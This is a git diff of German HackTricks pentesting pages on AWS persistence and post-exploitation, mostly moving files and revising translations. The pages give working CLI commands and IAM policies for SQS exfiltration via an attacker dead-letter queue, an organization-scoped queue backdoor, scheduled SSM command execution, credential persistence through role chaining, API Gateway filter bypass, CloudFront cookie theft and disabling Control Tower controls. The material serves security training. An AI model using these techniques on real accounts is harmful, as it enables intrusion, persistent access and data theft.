+Setzen Sie RedriveAllowPolicy auf der Angreifer-DLQ, sodass nur bestimmte Quell-Queue-ARNs des Opfers zugelassen werden:
+```bash
+VICTIM_SRC_ARN=<victim source queue arn>
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
+```
+## Impact
+- Heimliche, dauerhafte Datenexfiltration/Persistenz durch automatisches Umlenken fehlgeschlagener Nachrichten von einer Opfer-SQS-Quell-Queue in eine vom Angreifer kontrollierte DLQ, mit minimalem betrieblichen Rauschen und ohne Änderungen an den Produzenten oder Lambda-Zuordnungen.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md
new file mode 100644
index 000000000..ccf5ae580
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md
@@ -0,0 +1,38 @@
+# AWS - SQS OrgID Policy Backdoor
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Missbrauche eine SQS queue resource policy, um stillschweigend Send, Receive und ChangeMessageVisibility an jeden Principal zu gewähren, der zu einer Ziel-AWS Organization gehört, indem du die Condition aws:PrincipalOrgID verwendest. Dies schafft einen org-scoped versteckten Pfad, der häufig Kontrollen umgeht, die nur nach expliziten account- oder role-ARNs oder star principals suchen.
+
+### Backdoor policy (an die SQS queue policy anhängen)
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "OrgScopedBackdoor",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"sqs:ReceiveMessage",
+"sqs:SendMessage",
+"sqs:ChangeMessageVisibility",
+"sqs:GetQueueAttributes"
+],
+"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
+"Condition": {
+"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
+}
+}
+]
+}
+```
+### Schritte
+- Beschaffe die Organization ID mit der AWS Organizations API.
+- Ermittle die SQS-Queue-ARN und setze die Queue-Policy, einschließlich des oben genannten Statement.
+- Von jedem Principal, der zu dieser Organization gehört, sende und empfange eine Nachricht in der Queue, um den Zugriff zu validieren.
+
+### Auswirkung
+- Organisationsweiter versteckter Zugriff, um SQS-Nachrichten von jedem Account in der angegebenen AWS Organization zu lesen und zu schreiben.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md
deleted file mode 100644
index 6f52098dd..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# AWS - SSM Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SSM
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
-{{#endref}}
-
-### Verwendung von ssm:CreateAssociation für Persistenz
-
-Ein Angreifer mit der Berechtigung **`ssm:CreateAssociation`** kann eine State Manager Association erstellen, um automatisch Befehle auf EC2-Instanzen auszuführen, die von SSM verwaltet werden. Diese Assoziationen können so konfiguriert werden, dass sie in festen Intervallen ausgeführt werden, was sie für eine backdoorartige Persistenz ohne interaktive Sitzungen geeignet macht.
-```bash
-aws ssm create-association \
---name SSM-Document-Name \
---targets Key=InstanceIds,Values=target-instance-id \
---parameters commands=["malicious-command"] \
---schedule-expression "rate(30 minutes)" \
---association-name association-name
-```
-> [!NOTE]
-> Diese Persistenzmethode funktioniert, solange die EC2-Instanz von Systems Manager verwaltet wird, der SSM-Agent läuft und der Angreifer die Berechtigung hat, Assoziationen zu erstellen. Es sind keine interaktiven Sitzungen oder expliziten ssm:SendCommand-Berechtigungen erforderlich. **Wichtig:** Der Parameter `--schedule-expression` (z. B. `rate(30 minutes)`) muss das Mindestintervall von 30 Minuten von AWS einhalten. Für sofortige oder einmalige Ausführung den `--schedule-expression`-Parameter vollständig weglassen — die Assoziation wird einmal nach der Erstellung ausgeführt.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md
new file mode 100644
index 000000000..13631b999
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md
@@ -0,0 +1,27 @@
+# AWS - SSM Persistenz
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SSM
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
+{{#endref}}
+
+### Verwendung von ssm:CreateAssociation zur Persistenz
+
+Ein Angreifer mit der Berechtigung **`ssm:CreateAssociation`** kann eine State Manager Association erstellen, um automatisch Befehle auf von SSM verwalteten EC2-Instanzen auszuführen. Diese Associations können so konfiguriert werden, dass sie in festen Intervallen laufen, wodurch sie sich für backdoor-ähnliche Persistenz ohne interaktive Sitzungen eignen.
+```bash
+aws ssm create-association \
+--name SSM-Document-Name \
+--targets Key=InstanceIds,Values=target-instance-id \
+--parameters commands=["malicious-command"] \
+--schedule-expression "rate(30 minutes)" \
+--association-name association-name
+```
+> [!NOTE]
+> Diese Persistenzmethode funktioniert, solange die EC2-Instanz von Systems Manager verwaltet wird, der SSM agent läuft und der Angreifer die Berechtigung hat, associations zu erstellen. Sie erfordert keine interaktiven Sitzungen oder expliziten ssm:SendCommand-Berechtigungen. **Wichtig:** Der Parameter `--schedule-expression` (z. B. `rate(30 minutes)`) muss das von AWS vorgeschriebene Mindestintervall von 30 Minuten einhalten. Für sofortige oder einmalige Ausführung lassen Sie `--schedule-expression` vollständig weg — die association wird nach der Erstellung einmal ausgeführt.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
deleted file mode 100644
index 1519e326f..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# AWS - Step Functions Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### Backdooring von Step Functions
-
-Hinterlasse eine Hintertür in einer Step Function, um einen Persistenztrick auszuführen, sodass jedes Mal, wenn sie ausgeführt wird, deine bösartigen Schritte ausgeführt werden.
-
-### Backdooring von Aliassen
-
-Wenn das AWS-Konto Aliasse verwendet, um Step Functions aufzurufen, wäre es möglich, einen Alias zu ändern, um eine neue, mit einer Hintertür versehene Version der Step Function zu verwenden.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md
new file mode 100644
index 000000000..d82a5537f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md
@@ -0,0 +1,21 @@
+# AWS - Step Functions Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### Step function Backdooring
+
+Backdoor a step function, damit sie beliebige persistence-Tricks ausführt; bei jeder Ausführung werden dann deine bösartigen Schritte ausgeführt.
+
+### Backdooring aliases
+
+Wenn das AWS-Konto aliases verwendet, um step functions aufzurufen, wäre es möglich, ein alias so zu ändern, dass es eine neue backdoored-Version der step function verwendet.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md
similarity index 65%
rename from src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
rename to src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md
index 46551c0d9..5f5cf1b68 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md
@@ -1,36 +1,36 @@
 # AWS - STS Persistence
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## STS
 
-Für weitere Informationen zugreifen:
+Für weitere Informationen siehe:
 
 {{#ref}}
-../aws-services/aws-sts-enum.md
+../../aws-services/aws-sts-enum.md
 {{#endref}}
 
 ### Assume role token
 
-Temporäre Tokens können nicht aufgelistet werden, daher ist das Beibehalten eines aktiven temporären Tokens eine Möglichkeit, Persistenz aufrechtzuerhalten.
+Temporäre Tokens können nicht aufgelistet werden, daher ist das Aufrechterhalten eines aktiven temporären Tokens eine Möglichkeit, Persistenz zu gewährleisten.
 
 <pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
 
-# Mit MFA
+# With MFA
 aws sts get-session-token \
 --serial-number <mfa-device-name> \
 --token-code <code-from-token>
 
-# Der Name des Hardwaregeräts ist normalerweise die Nummer auf der Rückseite des Geräts, wie GAHT12345678
-<strong># Der Name des SMS-Geräts ist die ARN in AWS, wie arn:aws:iam::123456789012:sms-mfa/username
-</strong># Der Name des virtuellen Geräts ist die ARN in AWS, wie arn:aws:iam::123456789012:mfa/username
+# Hardware device name is usually the number from the back of the device, such as GAHT12345678
+<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
+</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
 </code></pre>
 
 ### Role Chain Juggling
 
-[**Role chaining ist ein anerkanntes AWS-Feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), das häufig zur Aufrechterhaltung von Stealth-Persistenz genutzt wird. Es beinhaltet die Fähigkeit, **eine Rolle zu übernehmen, die dann eine andere übernimmt**, was potenziell zur ursprünglichen Rolle in einer **zyklischen Weise** zurückkehrt. Jedes Mal, wenn eine Rolle übernommen wird, wird das Ablaufdatum der Anmeldeinformationen aktualisiert. Folglich, wenn zwei Rollen so konfiguriert sind, dass sie sich gegenseitig übernehmen, ermöglicht dieses Setup die ständige Erneuerung der Anmeldeinformationen.
+[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), wird häufig genutzt, um unauffällige Persistenz aufrechtzuerhalten. Dabei geht es um die Fähigkeit, **eine Rolle anzunehmen, die dann eine andere Rolle annimmt**, und gegebenenfalls zur ursprünglichen Rolle in einer **zyklischen Weise** zurückzukehren. Jedes Mal, wenn eine Rolle angenommen wird, wird das Ablaufdatum der Credentials aktualisiert. Folglich ermöglicht eine Konfiguration, in der sich zwei Rollen gegenseitig annehmen, die fortwährende Erneuerung von Credentials.
 
-Sie können dieses [**Tool**](https://github.com/hotnops/AWSRoleJuggler/) verwenden, um das Rollenkettenspiel am Laufen zu halten:
+You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
 ```bash
 ./aws_role_juggler.py -h
 usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
@@ -40,11 +40,11 @@ optional arguments:
 -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
 ```
 > [!CAUTION]
-> Beachten Sie, dass das [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) Skript aus diesem Github-Repository nicht alle Möglichkeiten findet, wie eine Rollenverkettung konfiguriert werden kann.
+> Beachte, dass das [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) Skript aus diesem Github-Repository nicht alle Möglichkeiten findet, wie eine Rollenkette konfiguriert werden kann.
 
 <details>
 
-<summary>Code zum Durchführen von Role Juggling aus PowerShell</summary>
+<summary>Code zur Durchführung von Role Juggling mit PowerShell</summary>
 ```bash
 # PowerShell script to check for role juggling possibilities using AWS CLI
 
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete."
 ```
 </details>
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md
similarity index 57%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md
index 9d8ffb7d0..d44b26921 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md
@@ -1,46 +1,46 @@
 # AWS - API Gateway Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## API Gateway
 
 Für weitere Informationen siehe:
 
 {{#ref}}
-../aws-services/aws-api-gateway-enum.md
+../../aws-services/aws-api-gateway-enum.md
 {{#endref}}
 
-### Zugriff auf nicht exponierte APIs
+### Zugriff auf nicht-exponierte APIs
 
-Sie können einen Endpunkt in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) mit dem Dienst `com.amazonaws.us-east-1.execute-api` erstellen, den Endpunkt in einem Netzwerk exponieren, auf das Sie Zugriff haben (möglicherweise über eine EC2-Maschine) und eine Sicherheitsgruppe zuweisen, die alle Verbindungen erlaubt.\
-Dann können Sie von der EC2-Maschine aus auf den Endpunkt zugreifen und somit die Gateway-API aufrufen, die zuvor nicht exponiert war.
+Du kannst einen Endpoint unter [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) mit dem Service `com.amazonaws.us-east-1.execute-api` erstellen, den Endpoint in einem Netzwerk freigeben, auf das du Zugriff hast (z. B. über eine EC2-Maschine) und eine Security Group zuweisen, die alle Verbindungen erlaubt.\
+Dann kannst du von der EC2-Maschine aus auf den Endpoint zugreifen und somit die Gateway API aufrufen, die zuvor nicht exponiert war.
 
-### Umgehung des Request-Body-Passthroughs
+### Request-Body-Passthrough umgehen
 
-Diese Technik wurde in [**diesem CTF-Bericht**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp) gefunden.
+This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
 
-Wie in der [**AWS-Dokumentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) im Abschnitt `PassthroughBehavior` angegeben, wird standardmäßig der Wert **`WHEN_NO_MATCH`**, beim Überprüfen des **Content-Type**-Headers der Anfrage, die Anfrage ohne Transformation an das Backend weiterleiten.
+Wie in der [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) im Abschnitt `PassthroughBehavior` angegeben, leitet der Standardwert **`WHEN_NO_MATCH`** beim Prüfen des **Content-Type**-Headers die Anfrage unverändert an das Backend weiter.
 
-Daher hatte im CTF das API Gateway eine Integrationsvorlage, die **verhindert hat, dass die Flagge in einer Antwort exfiltriert wird**, wenn eine Anfrage mit `Content-Type: application/json` gesendet wurde:
+Deshalb enthielt das API Gateway im CTF ein Integration-Template, das **preventing the flag from being exfiltrated** in einer Antwort verhinderte, wenn eine Anfrage mit `Content-Type: application/json` gesendet wurde:
 ```yaml
 RequestTemplates:
 application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
 ```
-Allerdings würde das Senden einer Anfrage mit **`Content-type: text/json`** diesen Filter verhindern.
+Allerdings würde das Senden einer Anfrage mit **`Content-type: text/json`** diesen Filter umgehen.
 
-Schließlich, da das API Gateway nur `Get` und `Options` erlaubte, war es möglich, eine beliebige dynamoDB-Abfrage ohne Einschränkung zu senden, indem man eine POST-Anfrage mit der Abfrage im Body und dem Header `X-HTTP-Method-Override: GET` verwendete:
+Schließlich, da das API Gateway nur `Get` und `Options` erlaubte, war es möglich, eine beliebige dynamoDB-Abfrage ohne Einschränkung zu senden, indem man eine POST-Anfrage mit der Abfrage im Body schickte und den Header `X-HTTP-Method-Override: GET` verwendete:
 ```bash
 curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
 ```
 ### Usage Plans DoS
 
-Im Abschnitt **Enumeration** sehen Sie, wie Sie den **Nutzungsplan** der Schlüssel **erhalten** können. Wenn Sie den Schlüssel haben und er auf X Nutzungen **pro Monat** **beschränkt** ist, könnten Sie ihn **einfach verwenden und einen DoS verursachen**.
+Im **Enumeration**-Abschnitt sehen Sie, wie Sie den **usage plan** der Keys **erhalten**. Wenn Sie den Key besitzen und er auf X Nutzungen **pro Monat** **limitiert** ist, könnten Sie ihn **einfach verwenden und dadurch einen DoS verursachen**.
 
-Der **API Key** muss nur in einem **HTTP-Header** namens **`x-api-key`** **eingeschlossen** werden.
+Der **API Key** muss lediglich in einem **HTTP-Header** namens **`x-api-key`** **enthalten** sein.
 
 ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
 
-Ein Angreifer mit den Berechtigungen `apigateway:UpdateGatewayResponse` und `apigateway:CreateDeployment` kann **eine vorhandene Gateway-Antwort ändern, um benutzerdefinierte Header oder Antwortvorlagen einzuschließen, die sensible Informationen leaken oder bösartige Skripte ausführen**.
+Ein Angreifer mit den Berechtigungen `apigateway:UpdateGatewayResponse` und `apigateway:CreateDeployment` kann **eine vorhandene Gateway Response ändern, um benutzerdefinierte Header oder response templates hinzuzufügen, die sensible Informationen leak oder die Ausführung bösartiger Skripte ermöglichen**.
 ```bash
 API_ID="your-api-id"
 RESPONSE_TYPE="DEFAULT_4XX"
@@ -51,14 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Potenzielle Auswirkungen**: Leckage sensibler Informationen, Ausführung bösartiger Skripte oder unbefugter Zugriff auf API-Ressourcen.
+**Mögliche Auswirkungen**: Offenlegung sensibler Informationen, Ausführung bösartiger Skripte oder unbefugter Zugriff auf API-Ressourcen.
 
 > [!NOTE]
-> Muss getestet werden
+> Erfordert Tests
 
 ### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
 
-Ein Angreifer mit den Berechtigungen `apigateway:UpdateStage` und `apigateway:CreateDeployment` kann **eine vorhandene API Gateway-Stufe ändern, um den Datenverkehr auf eine andere Stufe umzuleiten oder die Caching-Einstellungen zu ändern, um unbefugten Zugriff auf zwischengespeicherte Daten zu erhalten**.
+Ein Angreifer mit den Berechtigungen `apigateway:UpdateStage` und `apigateway:CreateDeployment` kann **eine bestehende API Gateway-Stage ändern, um den Traffic auf eine andere Stage umzuleiten oder die Caching-Einstellungen zu verändern, um unbefugten Zugriff auf zwischengespeicherte Daten zu erlangen**.
 ```bash
 API_ID="your-api-id"
 STAGE_NAME="Prod"
@@ -69,14 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Potenzielle Auswirkungen**: Unbefugter Zugriff auf zwischengespeicherte Daten, Störung oder Abfangen von API-Verkehr.
+**Potentielle Auswirkungen**: Unbefugter Zugriff auf zwischengespeicherte Daten, Störung oder Abfangen von API-Verkehr.
 
-> [!HINWEIS]
-> Testen erforderlich
+> [!NOTE]
+> Test erforderlich
 
 ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
 
-Ein Angreifer mit den Berechtigungen `apigateway:PutMethodResponse` und `apigateway:CreateDeployment` kann **die Methodenantwort einer bestehenden API Gateway REST API-Methode ändern, um benutzerdefinierte Header oder Antwortvorlagen einzuschließen, die sensible Informationen leaken oder bösartige Skripte ausführen**.
+Ein Angreifer mit den Berechtigungen `apigateway:PutMethodResponse` und `apigateway:CreateDeployment` kann **die Methodenantwort einer vorhandenen API Gateway REST API-Methode ändern, um benutzerdefinierte Header oder Antwortvorlagen einzufügen, die zu einem leak sensibler Informationen führen oder bösartige Skripte ausführen**.
 ```bash
 API_ID="your-api-id"
 RESOURCE_ID="your-resource-id"
@@ -89,14 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Potenzielle Auswirkungen**: Leckage sensibler Informationen, Ausführung bösartiger Skripte oder unbefugter Zugriff auf API-Ressourcen.
+**Potentielle Auswirkungen**: Offenlegung sensibler Informationen, Ausführen bösartiger Skripte oder unautorisierter Zugriff auf API-Ressourcen.
 
 > [!NOTE]
 > Muss getestet werden
 
 ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
 
-Ein Angreifer mit den Berechtigungen `apigateway:UpdateRestApi` und `apigateway:CreateDeployment` kann **die Einstellungen der API Gateway REST API ändern, um das Logging zu deaktivieren oder die minimale TLS-Version zu ändern, was die Sicherheit der API potenziell schwächen kann**.
+Ein Angreifer mit den Berechtigungen `apigateway:UpdateRestApi` und `apigateway:CreateDeployment` kann **die Einstellungen der API Gateway REST API ändern, um Logging zu deaktivieren oder die minimale TLS-Version zu ändern, und damit potenziell die Sicherheit der API schwächen**.
 ```bash
 API_ID="your-api-id"
 
@@ -106,14 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Potenzielle Auswirkungen**: Schwächung der Sicherheit der API, was möglicherweise unbefugten Zugriff oder die Offenlegung sensibler Informationen ermöglicht.
+**Potenzielle Auswirkungen**: Schwächung der Sicherheit der API, was möglicherweise unbefugten Zugriff ermöglicht oder sensible Informationen offenlegt.
 
 > [!NOTE]
-> Muss getestet werden
+> Weitere Tests erforderlich
 
 ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
 
-Ein Angreifer mit den Berechtigungen `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` und `apigateway:CreateUsagePlanKey` kann **neue API-Schlüssel erstellen, diese mit Nutzungstarifen verknüpfen und dann diese Schlüssel für unbefugten Zugriff auf APIs verwenden**.
+Ein Angreifer mit den Berechtigungen `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` und `apigateway:CreateUsagePlanKey` kann **neue API-Schlüssel erstellen, diese mit usage plans verknüpfen und die Schlüssel dann für unbefugten Zugriff auf APIs verwenden**.
 ```bash
 # Create a new API key
 API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
@@ -124,9 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
 # Associate the API key with the usage plan
 aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
 ```
-**Potenzielle Auswirkungen**: Unbefugter Zugriff auf API-Ressourcen, Umgehung von Sicherheitskontrollen.
+**Mögliche Auswirkungen**: Unbefugter Zugriff auf API-Ressourcen, Umgehung von Sicherheitskontrollen.
 
-> [!HINWEIS]
-> Test erforderlich
+> [!NOTE]
+> Tests erforderlich
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
deleted file mode 100644
index 24de074f3..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ /dev/null
@@ -1,31 +0,0 @@
-# AWS - CloudFront Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CloudFront
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-cloudfront-enum.md
-{{#endref}}
-
-### Man-in-the-Middle
-
-Dieser [**Blogbeitrag**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) schlägt einige verschiedene Szenarien vor, in denen eine **Lambda** hinzugefügt (oder modifiziert, wenn sie bereits verwendet wird) werden könnte, um eine **Kommunikation über CloudFront** mit dem Ziel des **Diebstahls** von Benutzerinformationen (wie dem Sitzungs-**Cookie**) und der **Modifizierung** der **Antwort** (Einfügen eines bösartigen JS-Skripts) zu ermöglichen.
-
-#### Szenario 1: MitM, bei dem CloudFront so konfiguriert ist, dass es auf einige HTML-Dateien eines Buckets zugreift
-
-- **Erstelle** die bösartige **Funktion**.
-- **Assoziiere** sie mit der CloudFront-Distribution.
-- Setze den **Ereignistyp auf "Viewer Response"**.
-
-Durch den Zugriff auf die Antwort könntest du das Cookie der Benutzer stehlen und ein bösartiges JS injizieren.
-
-#### Szenario 2: MitM, bei dem CloudFront bereits eine Lambda-Funktion verwendet
-
-- **Modifiziere den Code** der Lambda-Funktion, um sensible Informationen zu stehlen.
-
-Du kannst den [**tf-Code, um diese Szenarien hier zu reproduzieren**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main) überprüfen.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md
new file mode 100644
index 000000000..cce42ac62
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md
@@ -0,0 +1,31 @@
+# AWS - CloudFront Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFront
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-cloudfront-enum.md
+{{#endref}}
+
+### Man-in-the-Middle
+
+This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) schlägt ein paar verschiedene Szenarien vor, in denen eine **Lambda** hinzugefügt (oder modifiziert, falls sie bereits verwendet wird) in eine **Kommunikation durch CloudFront** werden könnte, mit dem Zweck, Benutzerinformationen zu **stehlen** (wie das Session **cookie**) und die **Antwort** zu **modifizieren** (Einfügen eines bösartigen JS-Skripts).
+
+#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
+
+- **Erstelle** die bösartige **Funktion**.
+- **Verknüpfe** sie mit der CloudFront-Distribution.
+- Setze den **Event-Typ auf "Viewer Response"**.
+
+Indem man die Antwort ausliest, könnte man das Session cookie des Benutzers stehlen und ein bösartiges JS injizieren.
+
+#### scenario 2: MitM where CloudFront is already using a lambda function
+
+- **Ändere den Code** der Lambda-Funktion, um sensible Informationen zu stehlen
+
+You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
deleted file mode 100644
index 87b05ac6c..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
+++ /dev/null
@@ -1,18 +0,0 @@
-# AWS - Control Tower Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Control Tower
-
-{{#ref}}
-../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
-{{#endref}}
-
-### Kontrollen aktivieren / deaktivieren
-
-Um ein Konto weiter auszunutzen, müssen Sie möglicherweise die Kontrollen von Control Tower deaktivieren/aktivieren:
-```bash
-aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
-aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
-```
